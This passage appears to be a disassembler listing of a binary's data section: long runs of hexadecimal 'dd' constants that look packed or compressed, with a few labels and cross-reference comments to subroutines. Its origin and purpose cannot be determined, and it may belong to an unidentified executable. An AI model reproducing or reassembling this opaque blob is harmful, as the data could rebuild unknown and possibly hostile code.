		dd 0D533C526h, 5999245Eh, 0BB213159h, 0BE0237C1h, 24134AEEh
		dd 0D8C6B548h, 0F6FF1B3Fh, 3035BFFFh, 9002636Ah, 1D58AD91h
		dd 931C3CD0h, 0E0F9967h, 0B4C39516h, 406EC2Bh, 0FFFFE0D0h
		dd 27403E35h, 59FC3C5Dh, 870BF852h, 4398190Eh, 0CF0A1904h
		dd 6FFFFFFFh, 1D591970h, 18AC0FB1h, 0C6319E58h,	62ACD0DEh
		dd 0AF066F25h, 7EC60C36h, 680A01C8h, 16FFFFFFh,	0F722A13Dh
		dd 553B3E1h, 2CC16D98h,	9030236h, 3770311Ah, 1A5BD386h
		dd 0F5BFAB7Fh, 7D5BB537h, 4D4D9A0Ah, 9C7601C1h,	82D7A1BDh
		dd 5B1A71F6h, 8F01FFFCh, 0B6AF02FEh, 0A1D35A8h,	3D169Eh
		dd 0FA25707Eh, 0E70D5BFFh, 6EC9930Ah, 561C7469h, 0AA0A4CD7h
		dd 0FF0548B1h, 92B7FFFFh, 6A10747h, 0E3E8AECBh,	8DA0C659h
		dd 5A3740AAh, 3883D057h, 0B4E618C4h, 7FFF8721h,	3640FFA9h
		dd 0C84AD8D9h, 0AD78FC71h, 20C7660Eh, 100FEB62h, 98214E40h
		dd 0D0BF77C8h, 0E4B0FFFFh, 8A608828h, 41FA1E41h, 74042E0Ah
		dd 6681AB1Ah, 4A00FB58h, 46FC0185h, 0CD2CFFFFh,	2D6D3085h
		dd 930402BFh, 42D13DBEh, 0DDBF08C5h, 24F43D14h,	4BFFFFFFh
		dd 46ACD94Dh, 78614356h, 0FD3B2156h, 0EF118B72h, 55D4AAB2h
		dd 0A9455800h, 0BF466A60h, 0AB4CB7FDh, 14234404h, 451E886Bh
		dd 60E400D4h, 0E896972Eh, 0F3F816DFh, 0ED037F39h, 0F6C3FA44h
		dd 73AA5A12h, 0FC0BB499h, 0BD406DFh, 0E84AFFFFh, 4317C413h
		dd 0BE78459Bh, 6FFFB7FFh, 65636F01h, 0E8DF7373h, 6D116F2Fh
		dd 2E650A73h, 586C6C64h, 69746E75h, 0FFC0BFFFh,	0FB7052D5h
		dd 6520656Dh, 0F4AA1D72h, 0ACDFF20Ah, 4C5414BCh, 0E114Fh
		dd 0FFFFFFFFh, 474E4953h, 2DED65Fh, 414D4F7Bh, 36521112h
		dd 0FFB6DF30h, 83433DBh, 61206E41h, 696C7070h, 0FFFFFFFFh
		dd 6F516163h, 7361680Bh, 0BBE85F20h, 64616DEDh,	7417615Ah
		dd 706D6574h, 206F74DFh, 0B6EC366Ch, 0FD0BFFD4h, 7136FB5h
		dd 7B661668h, 0B9BFF632h, 617262FFh, 0A17F7972h, 97E652FFh
		dd 6C746398h, 540A2E79h, 0AF604065h, 0F4BAB5BCh, 111BDA0Dh
		dd 9B5D1383h, 5B46ED6Bh, 0FFFFFF73h, 192EE55Fh,	9D636D27h
		dd 6620DD73h, 43D46DBCh, 2E236D0Ah, 66CE5ECBh, 2D339FADh
		dd 0FFFF4120h, 6D86FFFFh, 75BADB9Dh, 4CD84D5Bh,	0C966A260h
		dd 0B5BB7D6Dh, 556962D6h, 626D1873h, 75642080h,	0FE256D72h
		dd 0D7DFF8B7h, 77674BBDh, 6486764Ah, 610C695Bh,	6C2F207Dh
		dd 82B2FFF4h, 2F540A7Ah, 65926413h, 39F0D607h, 0F677591h
		dd 0FFFE37FFh, 3A6F7920h, 0EEDC2EABh, 4920DAE6h, 0F69F2A72h
		dd 5D656BEBh, 0F6B6DDADh, 7FFDADCEh, 6CC2FFE1h,	5D666F11h
		dd 33E56D54h, 93291DBCh, 5B69A52Dh, 0FFA17F68h,	0FFFF2827h
		dd 6C836FFFh, 289E2972h, 76854963h, 61A7D9D9h, 44516E94h
		dd 6B9CC6DEh, 1C02FC1Ah, 0DAAD4944h, 69D306FFh,	0CDF3EDB5h
		dd 6E32F7FBh, 0BFDB783Dh, 0B0E1DBF0h, 35689E00h, 88634D70h
		dd 9C109081h, 26803076h, 4BDBE25Fh, 65FB31C5h, 0C3BDCD54h
		dd 0B40CE152h, 0FFFF533Ah, 9D2EE05Fh, 9B0FDEC3h, 65D83930h
		dd 609F49EFh, 38321F64h
		dd 0DBB985B5h, 0A5FF61FAh, 0A662FC2Fh, 640D8182h, 27AD4F86h
		dd 65C8D437h, 0B770A121h, 0FFF43637h, 33EF6DBh,	64A953C9h
		dd 0A12C7555h, 76FDEC6Dh, 21758069h, 5FF53A0h, 3BBF2FFEh
		dd 345F28C9h, 35AF6B5Fh, 2F91126Dh, 0E2DC0658h,	1B460BDAh
		dd 0D93BFADDh, 0F239315Fh, 0B8B73F70h, 0A1697CEFh, 0EF3B6FD5h
		dd 64D3F2Bh, 0FF1B4638h, 31FA6FFFh, 83A40DF2h, 3723AB19h
		dd 431CDB53h, 6875766Dh, 0B28089BFh, 0FFF46FFFh, 2F6B050Eh
		dd 1B6E8417h, 0B764346Ch, 2BF20D4Eh, 0F4D246DCh, 0FF757122h
		dd 0FFFA5FFFh, 0D26F6868h, 0E45229C7h, 0C1C712C8h, 0BB69F8E1h
		dd 20EEEF74h, 1CB5287Dh, 7EB44088h, 6177F4BBh, 40BA4BF2h
		dd 7310C1C3h, 2F4335ADh, 2FFF897Fh, 0BE2B2D63h,	38E4295Bh
		dd 28756795h, 0C99EC773h, 0C4663257h, 0FFFFFFFFh, 5EBCB074h
		dd 58DADB2h, 0DE429674h, 66DB5A16h, 0B94D00C1h,	3566B568h
		dd 15DD8F09h, 43E56956h, 0A17FF46Fh, 0B64C342Bh, 0F49BEEB7h
		dd 2E2D0A27h, 2E703C05h, 0FC2FFC5Ah, 6736DE67h,	20CC14DAh
		dd 77506B27h, 3DB63E6Eh, 0FFFD2F56h, 0A645FF8Dh, 26502D21h
		dd 78107FFFh, 1DF203Ah,	60504C7h, 0FD0B725Fh, 0A090807h
		dd 0FFE00C0Bh, 12116700h, 0C2FB1413h, 1615FFFFh, 1A191817h
		dd 1E1D1C1Bh, 2221201Fh, 26252423h, 2B2A29B9h, 0BFFF582Ch
		dd 81385BD0h, 0AE202F85h, 38373635h, 3C3B3A39h,	403F3E3Dh
		dd 0F6AA84A7h, 0D55B4241h, 58D68739h, 0FFEADF55h, 0FF1B6C2Fh
		dd 5C5B5A59h, 0B95F5E5Dh, 1866D363h, 0B46FAA8h,	0DB3EF68Ah
		dd 0FF936D6Ch, 8D5AA847h, 7C7B8CDDh, 0BB7F7E7Dh, 85B7C0F0h
		dd 0FFF897FAh, 74E978D5h, 266E4500h, 41DFFE50h,	4B37AEE1h
		dd 454E5245h, 0DFFFF44Ch, 4C446AA2h, 0C2FC1C4Ch, 461F6546h
		dd 8746736Ch, 0BFF6320h, 793BE14h, 0F6746553h, 0BFF9479Fh
		dd 6C4138E7h, 0FFF63BA0h, 2801FFFFh, 75006E00h,	0B5D76C00h
		dd 0F29ACC6h, 60A1E3Ch,	0CBF6CF02h, 100701DBh, 0A0A0300h
		dd 10FFFA15h, 5004504h,	7C2E1735h, 0C70030ECh, 0F16EB749h
		dd 1F6BA5h, 7995BF37h, 0AA07A5D7h, 0FFFDBFFAh, 8000B20h
		dd 0D2606860h, 89A96EDh, 70B7818h, 7EB20715h, 1A00B5CEh
		dd 52FFFF01h, 6A31BC51h, 72437726h, 0EAAADF09h,	68943341h
		dd 6FFFE8B7h, 7053E8D0h, 70A9EEC9h, 0D16BAD4Bh,	54EB6C60h
		dd 4BFB0C0Ch, 0CE12FFFFh, 576FC400h, 18BF6F12h,	7453C717h
		dd 2B4917A0h, 0D26A624Fh, 5FF4A2D9h, 49467B60h,	14C34B9h
		dd 74EE865Bh, 26765F41h, 0BFF550BFh, 0D77C13EFh, 460FCD98h
		dd 42285153h, 0B850966Fh, 0FFFFFFFFh, 5355A605h, 0E4A65D60h
		dd 2001CAAAh, 9001E428h, 482049h, 90064210h, 86108489h
		dd 81640640h, 0DDADFADEh, 40051001h, 8718D882h,	0CE203B85h
		dd 51132451h, 620025FBh, 6C08C613h, 0FFFF0600h,	0D76EA342h
		dd 0CA8D3BC4h, 0FFDFD956h, 0F332E426h, 141B1401h, 6FFFC300h
		dd 0C2259115h, 36EF2F00h, 0F72365B2h, 0DFD50011h, 705FFFE0h
		dd 84838281h, 88878685h, 8C8B8A89h, 168F8E8Dh, 95949392h
		dd 0C3FFFFFFh, 98F39796h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h
		dd 0A8A7A6A5h, 0ACABAAA9h, 0FFFFAEADh, 0B0AFFE35h, 0B4B3B2B1h
		dd 0B82353B5h, 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h, 0FFFFE7FFh
		dd 0C8C7C6C5h, 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h
		dd 0DCDBDAD9h, 0FFDFDEDDh, 0E0FFD0BFh, 0E4E3E2E1h, 0E8E7E6E5h
		dd 0EDECE1E9h, 0F1F0EFEEh, 0F5F4F3F2h, 6F22F7F6h, 55FFFFFCh
		dd 0F9F8FF12h, 0FDFCFBFAh, 1290FFFEh, 7042B120h, 0A3085590h
		dd 8D8552CAh, 0FFFFFC12h, 1F104AFFh, 610009F4h,	3A48487Fh
		dd 266CDC6Dh, 0E91D68h,	4D202C64h, 0D7DD6CBAh, 0FF790820h
		dd 0CE6FFE05h, 792F2F0Bh, 31CBA110h, 4D43507Bh,	876F249Bh
		dd 0FF96F71Ah, 0BFFFFFFh, 0BB766F4Eh, 4FC06BC5h, 70F50A5Dh
		dd 528B1474h, 24410EA5h, 0BB3DF4B5h, 7E4AA857h,	0BF6E0743h
		dd 65FFFFF1h, 17D1BA41h, 0FC69BF1Bh, 6863D74Dh,	1E8DB59Ah
		dd 31E265DFh, 8E36AD23h, 0FFF1BF95h, 530AECFFh,	3F72A961h
		dd 636B156Bh, 92E4613h,	95AC1245h, 57135A1Ah, 0FF0C4C3Ch
		dd 0C7FA37FFh, 541D9D0Ah, 101E4D7Eh, 686B7553h,	60767E1h
		dd 63868080h, 0FF03F080h, 7FFC6FFh, 7D0B6CA8h, 14808286h
		dd 15854BE9h, 3F8542FAh, 805080E1h, 0B43FBD88h,	0FFFF972Dh
		dd 27F30BFFh, 0F4072357h, 21885050h, 1C07DAD7h,	8391828h
		dd 0A17F21F6h, 78EF68ADh, 2DBFFADh, 730277E2h, 0F3228614h
		dd 39CE6B0Bh, 6FFC6E7h,	9FCB5BEDh, 9B7B9AAh, 0ECE1D6D8h
		dd 30FA7905h, 0F6FFC6FEh, 5060C18h, 1E372AFFh, 483960C2h
		dd 543F4F73h, 0D5B47342h, 0FC0BC024h, 21637B37h, 14685D0Fh
		dd 66EEA97Bh, 0F16F1B69h, 0EA06BFFFh, 33D5475h,	56D90B76h
		dd 8E6B9583h, 32004307h, 1B1BD5DFh, 0FF1BFFE9h,	1772E49h
		dd 705F3722h, 622E1050h, 0F7445A85h, 6C6F677Dh,	0D6FFE464h
		dd 577370BFh, 98DAE54Eh, 62436D01h, 51B7BD5Ah, 8CC78773h
		dd 0F56FFFFFh, 56673370h, 1D53ADD4h, 3C8B769Ah,	0A50EE75Bh
		dd 85BE6DDAh, 0D61F275Eh, 0FC6FFFFFh, 6B304026h, 16660F74h
		dd 726BB1ABh, 0C09507E0h, 47C3518Dh, 5C8156Dh, 0C0BF17C3h
		dd 3E3FFFFh, 0F66F4717h, 0F7B5EF0Eh, 730679BDh,	5D073068h
		dd 7B72A308h, 837F9316h, 6577FFFFh, 0D1B37D3h, 8E02D6Bh
		dd 6E6DC40Ch, 0CBDB00CCh, 6FBC00B7h, 17FDB46Fh,	6A5AE17Eh
		dd 5F63B0E3h, 0CBBB79F3h, 733A6796h, 6C4F7A6Fh,	0BE9605Fh
		dd 0A9FF744Bh, 0CB20C387h, 4A336103h, 0FFFA5FFFh, 64ED7E19h
		dd 70674F0Ch, 5885795Fh, 76B76EC1h, 5B0A5A98h, 2E63EC6Ch
		dd 0FFFF076Fh, 2369FFFFh, 0A33470F6h, 4B1C42BDh, 432707CDh
		dd 5A3DDDF6h, 661BA683h, 69542D63h, 6866CC41h, 0FF0B66DFh
		dd 4B0F837Fh, 3175244Dh, 12D0C361h, 0AF6F9E57h,	0BBF3B65Bh
		dd 0FFFA16ADh, 67ABE378h, 856FBB67h, 0DA2F5CD8h, 0A473CF2Eh
		dd 0F42D1BFFh, 3DB0CC76h, 625C00E1h, 55AF5873h,	68D9A9ACh
		dd 0FF0BFA15h, 4E3E434Fh, 136B6580h, 0AF365F5h,	86E019EEh
		dd 0BFFFFFFFh, 578F3FAAh, 0B373168Eh, 9F080F76h, 36CF2A88h
		dd 874B0ED7h, 7794FB3h,	0CE07865h, 0AD020886h, 3B3CFF5Bh
		dd 0F18A1FD5h, 6CA9BB43h, 0AC0AFBAh, 2FFFFFFDh,	61E15E29h
		dd 0EA52CB27h, 8C36DAEFh, 275BFA58h, 5B8A1679h,	0FFFF1290h
		dd 0FE3FD697h, 6EE7215Fh, 731E784h, 63CF70D7h, 0BD617A6Eh
		dd 0FFF5BFB3h, 230077FFh, 0F2CF8462h, 5B818529h, 0A7B38E47h
		dd 0BF14E9D3h, 3AF5EB8Dh, 0DFFF4EBDh, 7F7FFFEh,	5EBD234Bh
		dd 3B2FEBDDh, 574B7907h, 637A13D7h, 9F8F7F73h, 0B42EB456h
		dd 17FF60CFh, 2F69E0DAh, 0E67F0B84h, 361BE927h,	36342E39h
		dd 0A585312Eh, 3902FFFFh, 0FFC03831h, 5043BB05h, 4F542054h
		dd 2FFD7F3Ah, 0FFFFD1D9h, 7B5CF06Fh, 41863830h,	2D303438h
		dd 44303142h, 4431312Dh, 0B6DADB33h, 0E17F09BEh, 3343C002h
		dd 98013621h, 0FCD30439h, 0E9747460h, 7D34EAABh, 4E047A79h
		dd 56036590h, 40C6DFD5h, 6EFFF288h, 824E04C8h, 0FFFEADD5h
		dd 1B704836h, 17EA63D1h, 1DE1A2B8h, 7FFBF401h, 0ABFF705Ah
		dd 0BD4256EAh, 77433F36h, 8B1FF65Fh, 0FFFFFFFDh, 0CF71C6BEh
		dd 322A8DFh, 7E222A9h, 0DEF5D00Ch, 22CDF23Dh, 0C519E8CAh
		dd 22D0C722h, 1BFA27CEh
		dd 1B045577h, 0BA524620h, 0E86014Ch, 0FFAAA5FBh, 63F3B937h
		dd 0E01346C4h, 9ACF342Bh, 5EDF0EDh, 340CFFFEh, 10A03012h
		dd 0BD9D9B10h, 20B45E0h, 0BA4F0DFFh, 85FC45D9h,	0D090FFD2h
		dd 0DECB2567h, 1034CEC0h, 0CF2CA661h, 2C5184C2h, 1BFFFFFFh
		dd 7548B0B4h, 678076CDh, 1C77C0D8h, 0BA4818DEh,	2EBC2F41h
		dd 0A55FB05Fh, 0FFD2444Dh, 33F6FE85h, 0C404EB90h, 0FE21CB05h
		dd 0DD2722Eh, 0FBC07372h, 0FFB68D35h, 382708FFh, 17758B73h
		dd 262E0240h, 6E03D44Bh, 0D760C953h, 5B6FFA5Fh,	7420730Fh
		dd 0EBD80763h, 0D024F70h, 0B9008D05h, 0F56FD6FFh, 0B01FEACDh
		dd 4F80D83Eh, 524A4246h, 11A2C804h, 0FE20A450h,	0DD0AFFFFh
		dd 0E0A5E381h, 0E8509E61h, 9BA8EC0Ch, 0D7FB5722h, 0B7046A23h
		dd 0FFA37F4Dh, 60B679DFh, 0FC551E01h, 0E44055C8h, 324DE852h
		dd 0E22AEB9Dh, 0FFE91550h, 0E50CFFFFh, 96CFB16h, 45C64F59h
		dd 0BF2F4EFFh, 32C88201h, 0EB027DDAh, 160DE827h, 0FFFF5082h
		dd 88FE7F42h, 81FF841Ch, 74982A26h, 0CAE81412h,	642D222Fh
		dd 3304FDEDh, 0FFFF8368h, 51C575D2h, 0DB924F28h, 0C99110Dh
		dd 510448A4h, 0FF82598Ch, 2E5FFFEDh, 950C6852h,	0F6129E8h
		dd 736A047Dh, 222D6F19h, 5C3114E8h, 7881F906h, 0FFAB7FD5h
		dd 324E82Eh, 0C801FA55h, 0F84BC56Eh, 7FC03D82h,	0FFFF2D9Ah
		dd 657BBFFFh, 0BE75C05Fh, 731C7FD4h, 1D9656E4h,	0E80618h
		dd 0C9DE40F0h, 37E039B6h, 0F8F413ECh, 0FFFFFFFFh, 0EE11C206h
		dd 9BE42F16h, 208D520Ch, 102E50A8h, 85F9814Ch, 0C7057CC0h
		dd 84BDB828h, 3ABB2F90h, 0FFFFFC1Bh, 0A36251F8h, 5C5359F8h
		dd 24521855h, 88236150h, 0DC517D2Dh, 0DD174952h, 0FFFFFE05h
		dd 4071131Bh, 2A3F0014h, 0CD76130Eh, 10771418h,	0B7010652h
		dd 85D99ECAh, 46FFFD5Bh, 8D838D5h, 3864028Eh, 0D9B9670Bh
		dd 0C833080h, 0A17FFFFDh, 0A610B9DDh, 34A553A8h, 0E0ED9850h
		dd 1C408317h, 0E2A3BD36h, 0C6FF3FA4h, 0F4EDBFFFh, 0B74E605h
		dd 0EAE0D6CCh, 0E0252308h, 0EB532278h, 0C8781680h, 7FFF1989h
		dd 0D00DF823h, 477CFDDCh, 0CD08306Ah, 88B5B2Ch,	9C27BD51h
		dd 0FD0B51ADh, 9018FC5Bh, 0D89B3A74h, 0DE1A9BDAh, 0B37801F8h
		dd 0FFFF2356h, 0D0A9A22Dh, 5214141Eh, 0AC326CD9h, 42FFC7F8h
		dd 6310DB30h, 0FF42FE80h, 0E4A5200Dh, 0A7C4537Fh, 151182Fh
		dd 0FF2A6800h, 0B49746FFh, 0B8D840EFh, 453EA0D8h, 0D89ABD14h
		dd 736E1018h, 0FFFF526Ch, 0DC45FA37h, 3E4C2E7Fh, 315333DCh
		dd 0E64685Eh, 9C8EC86Dh, 0D030046Ch, 0FFFE55FCh, 7CD4FFFFh
		dd 7B1AE85Ch, 7BE08DC8h, 0D08A042Fh, 0ADD28D99h, 81A7C21h
		dd 2E57D4EBh, 871251BBh, 4BFFE911h, 633EA925h, 0EB663F45h
		dd 7F8B3217h, 0D702F0D0h, 7EDFF0BAh, 186E0AC1h,	69D9F053h
		dd 0C04E81F8h, 57AD0163h, 0FFFFFF48h, 75E122B7h, 0E7246287h
		dd 749BED8h, 0EF71666Ah, 6676F651h, 0C3839C0h, 53061320h
		dd 0FFFFFFFFh, 0C8C25EEh, 7C7E34B8h, 0EEBE152Ah, 20D0999Ch
		dd 6430FBA1h, 0CF4B3C0Dh, 2B510CFAh, 320501B0h,	0FFFFF6FFh
		dd 7785B0C3h, 3B3D8F21h, 72773DEBh, 4019D872h, 0DE28D04Fh
		dd 0B0C2FDEh, 5C73Ch, 0FFFFC1B8h, 0CDE13B65h, 24DF5658h
dword_3E1050	dd 6D7E08E9h, 0CC15F428h, 68CD136Ah, 0D0BF8590h, 0E72EB6B7h
					; DATA XREF: sub_3E5151+42o
		dd 1A3A7BF9h, 0C0A06814h, 0FC6F2384h, 0E5CEFF42h, 0ECDCE52Dh
		dd 0FCAC985Ch
		db 2Bh,	3, 0A6h
byte_3E107F	db 75h			; DATA XREF: sub_3E5151+64o
		dd 8D6CF782h, 0FF5BFFABh, 0E044162Ch, 1646E04Dh, 5435265Eh
		dd 152E4233h, 68C0E13Dh, 7FFFFFFFh, 0EB1B530Ch,	604BC51Bh
		dd 0D7DC1EB6h, 0AAC9335Ch, 4941ABFEh, 83DC55D1h, 92B818EAh
		dd 7FF8BA05h, 1053FFFBh, 0CF28E06Fh, 4CC161F3h,	0EB6847F6h
		dd 9816EC09h, 0CB482D90h, 0F8201A61h, 0F2DFE05Fh, 0EED90647h
		dd 0CA49102Ch, 31B3A650h, 0E457D379h, 0FFFFE180h, 84412337h
		dd 0B11768C7h, 60EE9C01h, 4D08980Bh, 9EB76FBh, 7DC778DAh
		dd 7F1A85FFh, 250E2983h, 3CF1830Fh, 0FA699660h,	41E905DCh
		dd 0FFFFFFFFh, 73937C23h, 8BB4D20Ch, 55898114h,	0B045751Ah
		dd 0C9CC2DE3h, 7018E9D0h, 0A376D88Bh, 422FF455h, 897FE8DFh
		dd 0CA253BFFh, 5384EF95h, 6C1E130Fh, 77720A02h,	504A05FFh
		dd 0F028CB44h, 4B28F03Ch, 0FF06D62Eh, 8AD0FF1Bh, 428BF0E0h
		dd 5BF49201h, 0ECF68084h, 5606B70Fh, 0D4BFFFFEh, 0E1BB37FFh
		dd 0E8C42032h, 0DD9AC276h, 441B5733h, 0C10A896Dh, 0E62D501h
		dd 0FFFFFFFFh, 0E9F0EDC2h, 8B90D7A7h, 840F8F02h, 0A0FB6596h
		dd 51974DA3h, 9E4155EAh, 484559A5h, 5175D8C9h, 0FFFF6DBFh
		dd 9EAB66E4h, 0E596D8E0h, 0D80EB6B3h, 8B489728h, 644C5015h
		dd 0B5554D59h, 52F52F81h, 0EC712E4Eh, 0E972B28h, 0FF6FDFC8h
		dd 6DB57FFFh, 0DEB1097h, 0F77011D4h, 0E9E043ACh, 1A9FA366h
		dd 4C55D8D9h, 0E4001CE4h, 0FFC0BFFFh, 0C2409847h, 18F89FD5h
		dd 0C06F36CCh, 60018768h, 6180FB61h, 0F0F32B0Dh, 0FFFFF8B7h
		dd 881D4B74h, 3CB0FE90h, 0EFE4B74Fh, 0C0891D2Ah, 60D93AE0h
		dd 0A3FC4EF2h, 0FFFFFFFFh, 0E020E370h, 257C955Ah, 9752F4EBh
		dd 89261ADCh, 761C18F7h, 204808FDh, 0F46D08F0h,	4D800289h
		dd 0F6F8297Fh, 4F13908Eh, 3CF9B2ECh, 6210E987h,	69E42A3Dh
		dd 0FFFFFFFFh, 1D9F137Eh, 1F406220h, 0C669C288h, 2D72B094h
		dd 0A929D2E8h, 0AC7A8397h, 0B64E8A8Ch, 0EBE4110Bh, 6FFFFFFFh
		dd 6D021C72h, 2349A2E4h, 0C80861ACh, 0BDC88E0h,	1C094A60h
		dd 8531C033h, 66BC7DB4h, 0FFDBFFFFh, 0CE21D4Fh,	6B37F85Dh
		dd 0BF98C2Bh, 38C7521Dh, 9A4BC09h, 0FFC81C4Fh, 66D86E01h
		dd 0FFFFF02Fh, 0F7143F6Ch, 0C59D41D8h, 0FC8E005Ch, 57EAF661h
		dd 60503705h, 0B89C7369h, 0FFFC1BFCh, 0AEDE1BD2h, 23974D9h
		dd 0F5A91175h, 89411B2Bh, 181E3657h, 817FC820h,	381A0BFFh
		dd 0F44D6801h, 0EE689D51h, 935562ABh, 8F76364Ch, 0FFFD1A0Dh
		dd 0B9C006B0h, 0D08518Ah, 29966ECh, 53A706E7h, 0F8DFFE2Dh
		dd 580A5985h, 0A1D2566Dh, 0E842C719h, 0B9451A13h, 0A2050938h
		dd 5E16FFFFh, 0EBF0EC5Bh, 176C8528h, 6D197FC2h,	0E06B833h
		dd 2FFFFFEh, 21B3D86Ch,	2D47DB7Ah, 0FB0150C6h, 0B2DD2D57h
		dd 0E7ED5121h, 0FF04D251h, 1B0D6FFFh, 6C27BE59h, 5D2008BFh
		dd 7AFA1479h, 9CAD050Bh, 1C19402Dh, 0FFE88B7Fh,	4BE1072Eh
		dd 9246B1A6h, 373A146Bh, 11BDED96h, 0FFFF0E3Bh,	432FFFFh
		dd 4598CB1Eh, 8914DB2Eh, 0E0E7E04h, 106D96A8h, 51294D5Dh
		dd 60C0833Ah, 1143D0ADh, 0FFFC6A82h, 987FFFFFh,	514560C5h
		dd 23A2F46h, 0ECDF0874h, 22550837h, 44104938h, 0AC97A1Bh
		dd 420CB645h, 1AB74BFFh, 0CD861C9Fh, 0DFF83DD6h, 90B091C0h
		dd 0FFFFD424h, 0CD80E37Fh, 0F31B69C0h, 11026636h, 741F3A20h
		dd 0E069DE05h, 0B56A11D3h, 0E870FED9h, 0A97E2DFEh, 86AC6CBh
		dd 71A0E50Eh, 0E9E12F38h
		db 3Fh,	2, 3Dh
byte_3E1437	db 97h			; DATA XREF: sub_3E5546+AAo
					; .data:00417DF0o
		dd 0FDADDBFEh, 3B450529h, 480AF487h, 0B8F4D706h, 0FD506AC6h
		dd 0BC15FFFFh, 6A56755Bh, 0BBB0FA18h, 89306E21h, 0A181441h
		dd 0C20F9AB8h, 6FFFFE97h, 49E9E97Fh, 2BE81522h,	84C1A327h
		dd 0F4F5F48h, 2DC78B09h, 0FFFF50EBh, 2EEEFFFFh,	0D7C5F26Ch
		dd 0F4FD627Ah, 0AC17601Eh, 3F47A890h, 0F197428Ah, 1740D677h
		dd 67E82852h, 0AB7F7109h, 2D21EDC1h, 74188876h,	0F7BE6607h
		dd 55E9019Dh, 0F8DFFFFFh, 400C80DDh, 0B51C3460h, 3F0B973Fh
		dd 1B3B3117h, 41EF4AC2h, 0B0374E41h, 0FFFF9C20h, 80BFFFFh
		dd 0E35DCAB0h, 0F7C629B4h, 2511179h, 0B2E34219h, 214CC603h
		dd 6450650Dh, 1C842C2h,	0FFFF0C19h, 50C3FC2Fh, 66464B23h
		dd 0F5E9CD5h, 99912AF3h, 1B610A13h, 889DD83h, 0DF4889BCh
		dd 0FA17B7F5h, 0EB520B48h, 506FF69Bh, 56EB4A1Bh, 0D60D9523h
		dd 6A3756FFh, 69333A93h, 787141A1h, 6B220F04h, 0FD0BF02Fh
		dd 0D2A3ACDBh, 7C3090Eh, 0A3C75013h, 0AE05412Fh, 0FEA5FE37h
		dd 0B1D8CADh, 33469FA4h, 0F4F28DB2h, 322A0E60h,	0FFFCE0BAh
		dd 0C19BFFA5h, 12A5558h, 68590189h, 8341F16Bh, 49424142h
		dd 6385B992h, 0FDBF2C4Ah, 10446FFFh, 2131920Fh,	0FBF80C13h
		dd 0C865A41Bh, 22394D67h, 78B17BE7h, 0B6A59092h, 2775FFFFh
		dd 2B7B538Dh, 0F8655F19h, 7D5EF8BBh, 0C3DD8F20h, 0FF898C17h
		dd 5BEBFFFFh, 5075012Eh, 2B384C3Bh, 1BAC1A53h, 4AB85E6Ah
		dd 0C7BD4546h, 2B916F63h, 7E0DFFD0h, 0C053F810h, 0B048802h
		dd 784D2DE1h, 2C5772F4h, 0BFFFFFFFh, 0CF021029h, 33ABEF0Fh
		dd 20B70878h, 16D71421h, 61DD49C0h, 2653D70Ch, 3EB0692Ch
		dd 0C1BF49EBh, 47EBFE17h, 0E8C63C71h, 9F6BCAE6h, 0C035E8B4h
		dd 0E071A1F6h, 0FE05FFFEh, 20409EE0h, 0F50203B0h, 0A514DC0Ch
		dd 0B08C9726h, 0E18106Fh, 0FF1EE658h, 5F37FF4Bh, 4663424Fh
		dd 4FD7FD83h, 7CED5BFFh, 6FAB7AEBh, 0CEB2D8F1h,	0FFFF16FFh
		dd 0A5F4F0C9h, 0CB2CB291h, 18AE54C2h, 0C9231C29h, 721CCD66h
		dd 0F0438E1Bh, 0FFFFFFF0h, 8670D0F8h, 81EE1957h, 9A12206Ah
		dd 0CCE046Eh, 0B4F0F476h, 709584ABh, 4F5C0F65h,	41BFFFFFh
		dd 641F080Ch, 2925B337h, 2D145821h, 6506497h, 394E9079h
		dd 0FF8B37EBh, 7B2CFC6Fh, 54B2AA0Bh, 0E0E1830Ch, 5ACBB034h
		dd 0A2512076h, 0FFFF1F5Fh, 84234446h, 93D15F1Fh, 3F229929h
		dd 0C23386E9h, 0A97FF125h, 817DF02Fh, 0E66476CAh, 6D241832h
		dd 4393330Eh, 2FF8919Eh, 0E6E4FFF1h, 0B2D0E4E8h, 0F7BCC835h
		dd 463897F4h, 79C9993Bh, 0A3F8F394h, 5837F6FFh,	497B0AC6h
		dd 0B65CA2Dh, 107083CEh, 0F5276F42h, 7FF4BFFCh,	58E26025h
		dd 9401074Bh, 0EC381914h, 4F6309D4h, 0E7B6F1DDh, 56EAF3B2h
		dd 568A4A85h, 0BF8D0BDDh, 465FFFC1h, 1110EC7Eh,	1317128Fh
		dd 0D12AC703h, 7FE060Bh, 0B2407EB8h, 0FFFFE97Ah, 41AD2DE0h
		dd 123286Ah, 7D7DB3CEh,	279A1975h, 0A3686C3Bh, 972082E8h
		dd 515FF16Eh, 2B118979h, 0B8581DA3h, 6AAA5FD0h,	25FFDF05h
		dd 45E5FFFEh, 96250017h, 38320826h, 0BA466FA8h,	83023414h
		dd 9D742EF8h, 0F16FD035h, 0D295FFFFh, 3816110Ah, 0C3D48329h
		dd 1F82541Ch, 0A2357E39h, 7CAC0D72h, 0BFC67B13h, 8817FFC4h
		dd 0D0021498h, 0C0298C89h, 53044C6h, 4CE1B3EBh,	0D6FFA9C1h
		dd 0D3F40FFFh, 367703E0h, 0AA99000Ah, 2EF4EF78h, 3556EC5Eh
		dd 7FFFFEA5h, 36FD084Ch, 0B96DE9h, 0F8604957h, 42B563Fh
		dd 0DACA0910h, 46FF0A0Bh, 5B85FFFFh, 10E18126h,	0B08F90Ch
		dd 920521C1h, 1E4F800Dh, 0CCED16B7h, 0FC1B1D64h, 7EE1FEA5h
		dd 7706E281h, 0EA0DC237h, 0C10E1BC2h, 0FFFF3945h, 5586FFFFh
		dd 3F2F84D9h, 48C8C6Fh,	62C7308Eh, 33D2F4ECh, 8AF08709h
		dd 109533FCh, 0C1E8215Bh, 7FFF682Fh, 0D05AFFA1h, 0A10E8218h
		dd 90E4F7FCh, 0A65868E0h, 0B2D1157Ah, 8AA00311h, 12FF04E4h
		dd 0F9C7FFFFh, 0E47DD2EEh, 66161005h, 160640C7h, 862E1CB9h
		dd 6298AB7Eh, 0BB719B45h, 68DCFFC0h, 6429D950h,	0CB061E1Eh
		dd 91AA151Ch, 0DFFFB6D4h, 0AF912FE2h, 4112D4CAh, 0D4D0B1D4h
		dd 41089DDCh, 85A0206h,	5BFF665Fh, 0C6B042FFh, 6028E27Bh
		dd 6A250A51h, 0DC215229h, 50E9643h, 0EB7FD0B8h,	1E8551D0h
